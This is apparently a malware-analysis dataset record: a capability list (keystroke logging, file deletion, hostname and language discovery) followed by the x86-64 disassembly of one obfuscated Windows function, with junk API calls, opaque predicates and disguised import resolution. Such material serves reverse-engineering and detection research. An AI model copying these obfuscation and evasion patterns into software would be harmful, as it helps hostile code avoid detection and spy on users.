Function at 0x180004e20
Capabilities:
Delete file
Enumerate gui resources
Get file attributes
Get hostname
Identify system language via api
Log keystrokes
Terminate process

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
call fcn.1800487c8
mov ebx, eax
mov eax, 0x51eb851f
imul ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub ebx, ecx
inc ebx
xor edi, edi
mov r8d, dword [0x1800d1574]
cmp r8d, 0x4960f952
jne 0x180004f79
xor ecx, ecx
call qword [sym.imp.USER32.dll_TrackMouseEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_AttachThreadInput]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNodeEx]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_TrackPopupMenu]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterShellHookWindow]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeServerProcessId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDesktopsW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetComboBoxInfo]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetOverlappedResultEx]
xor eax, eax
lock cmpxchg qword [rdi], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugBreakProcess]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRecoveryCallback]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadWritePtr]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov r8d, dword [0x1800d1574]
mov eax, 0x55555556
imul ebx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp ebx, ecx
jne 0x1800050d1
cmp r8d, 0x942b7d58
jne 0x1800050af
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadDescription]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumberFormatW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolIo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameTransactedW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLocaleName]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRecoveryCallback]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
xor ecx, ecx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
xor edx, edx
lea rcx, str.YFhqk6PDkXcDG9br7ZKKW
call qword [sym.imp.KERNEL32.dll_LocaleNameToLCID]
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFileTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, dword [rbp + 0x6f]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0xf0
pop rdi
pop rbx
pop rbp
ret
test bl, 1
jne 0x180005282
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rax, 0x12d
mov qword [rbp + 7], rax
mov dword [rbp + 0xf], 0x12d
movaps xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x69]
call fcn.18000d9f0
mov qword [rbp + 0x7f], rax
mov dword [rbp + 0x77], 8
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
add rax, 0x23a
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x61], 0x23a
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x41], rdi
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x31], rdi
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x21], rdi
mov ecx, 0x10
call fcn.18004296c
mov qword [rax + 8], rdi
mov qword [rbp - 0x41], rax
lea rcx, [rbp - 0x41]
mov qword [rax], rcx
mov word [rbp - 0x11], di
mov qword [rbp - 0xb], rdi
mov qword [rbp - 3], rdi
xor eax, eax
mov word [rbp - 0xe], ax
mov byte [rbp - 0xc], al
mov word [rbp - 0xb], ax
mov byte [rbp - 9], al
mov word [rbp - 8], ax
mov byte [rbp - 6], al
mov word [rbp - 5], ax
mov byte [rbp - 3], al
mov word [rbp - 2], ax
mov byte [rbp], al
mov word [rbp + 1], ax
mov byte [rbp + 3], al
mov dword [rbp - 0x15], edi
mov dword [rbp - 0x45], edi
lea rcx, [rbp - 0x59]
call fcn.180019ca0
test al, al
je 0x1800051d8
lea rdx, [rbp + 0x67]
lea rcx, [rbp - 0x59]
call fcn.180019e30
mov byte [rbp - 0x11], 0
lea rcx, [rbp - 0x59]
mov qword [rbp + 7], rcx
and al, 1
mov byte [rbp + 0xf], al
mov dl, 1
lea rcx, [rbp + 7]
call fcn.180010110
lea rcx, [rbp - 0x59]
call fcn.18001b780
lea rax, [rbp - 0x59]
mov qword [rbp + 0x67], rax
lea rdx, [rbp + 0x67]
call fcn.180011850
mov byte [rbp + 0x67], 0
mov r8b, 1
lea rdx, [rbp + 0x67]
lea rcx, [rbp - 0x59]
call fcn.180015cf0
mov byte [rbp + 0x67], 0
mov r8b, 1
lea rdx, [rbp + 0x67]
lea rcx, [rbp - 0x59]
call fcn.180015dc0
mov byte [rbp + 0x67], 0
mov r8b, 1
lea rdx, [rbp + 0x67]
lea rcx, [rbp - 0x59]
call fcn.180015f60
movups xmm0, xmmword [rbp - 0x69]
movups xmmword [rbp + 0x17], xmm0
lea rax, [rbp + 0x6f]
mov qword [rbp + 0x27], rax
lea rax, [rbp + 0x77]
mov qword [rbp + 0x2f], rax
lea rax, [rbp + 0x7f]
mov qword [rbp + 0x37], rax
mov r8b, 1
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x59]
call fcn.180016030
mov rbx, qword [rbp - 0x51]
lea rcx, [rbp - 0x41]
call fcn.18000fc20
mov rcx, qword [rbp - 0x41]
mov qword [rbp - 0x41], rdi
mov edx, 0x10
call fcn.180042880
mov rax, rbx
add rsp, 0xf0
pop rdi
pop rbx
pop rbp
ret
mov r8d, 0x1ff3
nop dword [rax + rax]
inc r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
jne 0x180005290
lea r9d, [r8 + 0x169f0]
add r8d, 0x9177
mov eax, 0x4415
lea r10d, [r8 + 0x6685]
inc eax
test al, 1
jne 0x1800052c4
lea edx, [r10 - 0x1b66]
lea ecx, [rax + 0x1c5e]
lea ecx, [r8 + rcx*2]
add ecx, r9d
add ecx, edx
lea r11d, [rax + 0x633]
lea eax, [r8 + r9]
add eax, edx
add eax, r10d
cmp eax, 0x44fcd
jne 0x180005352
cmp r9d, 0x189e5
jne 0x180005352
cmp r11d, 0x4a49
jne 0x180005352
cmp edx, 0xfc8b
jne 0x180005352
cmp ecx, 0x3f8c4
jne 0x180005352
lea rax, [fcn.18004da8c]
add rax, 0x272
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x61], 0x272
movaps xmm0, xmmword [rbp - 0x69]
movdqa xmmword [rbp - 0x69], xmm0
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x69]
call fcn.18000db60
add rsp, 0xf0
pop rdi
pop rbx
pop rbp
ret
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]